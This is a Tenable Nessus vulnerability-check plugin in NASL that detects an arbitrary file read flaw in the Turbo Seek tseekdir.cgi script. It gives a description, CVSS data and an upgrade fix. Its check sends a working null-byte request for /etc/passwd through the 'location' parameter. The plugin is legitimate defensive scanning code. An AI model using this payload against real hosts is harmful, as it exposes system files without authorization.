Lucene search

K
nessusThis script is Copyright (C) 2004-2021 Tenable Network Security, Inc.TURBOSEEK_READ_FILE.NASL
HistorySep 14, 2004 - 12:00 a.m.

Turbo Seek tseekdir.cgi location Parameter Arbitrary File Access

2004-09-1400:00:00
This script is Copyright (C) 2004-2021 Tenable Network Security, Inc.
www.tenable.com
23

The remote host is running Turbo Seek, a search engine and directory tool.

The version of this software running on the remote host has a vulnerability that allows a remote attacker to read arbitrary files from the remote system.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
 script_id(14719);
 script_version("1.19");

 script_bugtraq_id(11163);

 script_name(english:"Turbo Seek tseekdir.cgi location Parameter Arbitrary File Access");

 script_set_attribute(
   attribute:"synopsis",
   value:
"A web application on the remote host has an arbitrary file read
vulnerability."
 );
 script_set_attribute(
   attribute:"description",
   value:
"The remote host is running Turbo Seek, a search engine and directory
tool.

The version of this software running on the remote host has a
vulnerability that allows a remote attacker to read arbitrary files
from the remote system."
 );
 script_set_attribute(
   attribute:"see_also",
   value:"https://seclists.org/bugtraq/2006/May/158"
 );
 script_set_attribute(
   attribute:"see_also",
   value:"https://seclists.org/bugtraq/2006/May/184"
 );
 script_set_attribute(
   attribute:"solution",
   value:"Upgrade to version 1.7.2 or later."
 );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"plugin_publication_date", value: "2004/09/14");
 script_set_attribute(attribute:"vuln_publication_date", value: "2004/09/12");
 script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_summary(english:"Checks for the presence of tseekdir.cgi");
 
 script_category(ACT_ATTACK);
 script_copyright(english:"This script is Copyright (C) 2004-2021 Tenable Network Security, Inc."); 
 script_family(english:"CGI abuses");
 script_dependencie("find_service1.nasl", "http_version.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 script_require_keys("www/PHP");
 exit(0);
}

#
# The script code starts here
#


include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80, embedded:TRUE);

if(!get_port_state(port))exit(0);
if(!can_host_php(port:port))exit(0);



function check(loc)
{
 local_var r, req;
 req = http_get(item:string(loc, "/cgi/tseekdir.cgi?location=/etc/passwd%00"), port:port);
 r = http_keepalive_send_recv(port:port, data:req);
 if( r == NULL )exit(0);
 if(egrep(pattern:"root:.*:0:[01]:.*", string:r))
 {
 	security_warning(port);
	exit(0);
 }
}


foreach dir ( cgi_dirs() )
{
 check(loc:dir);
}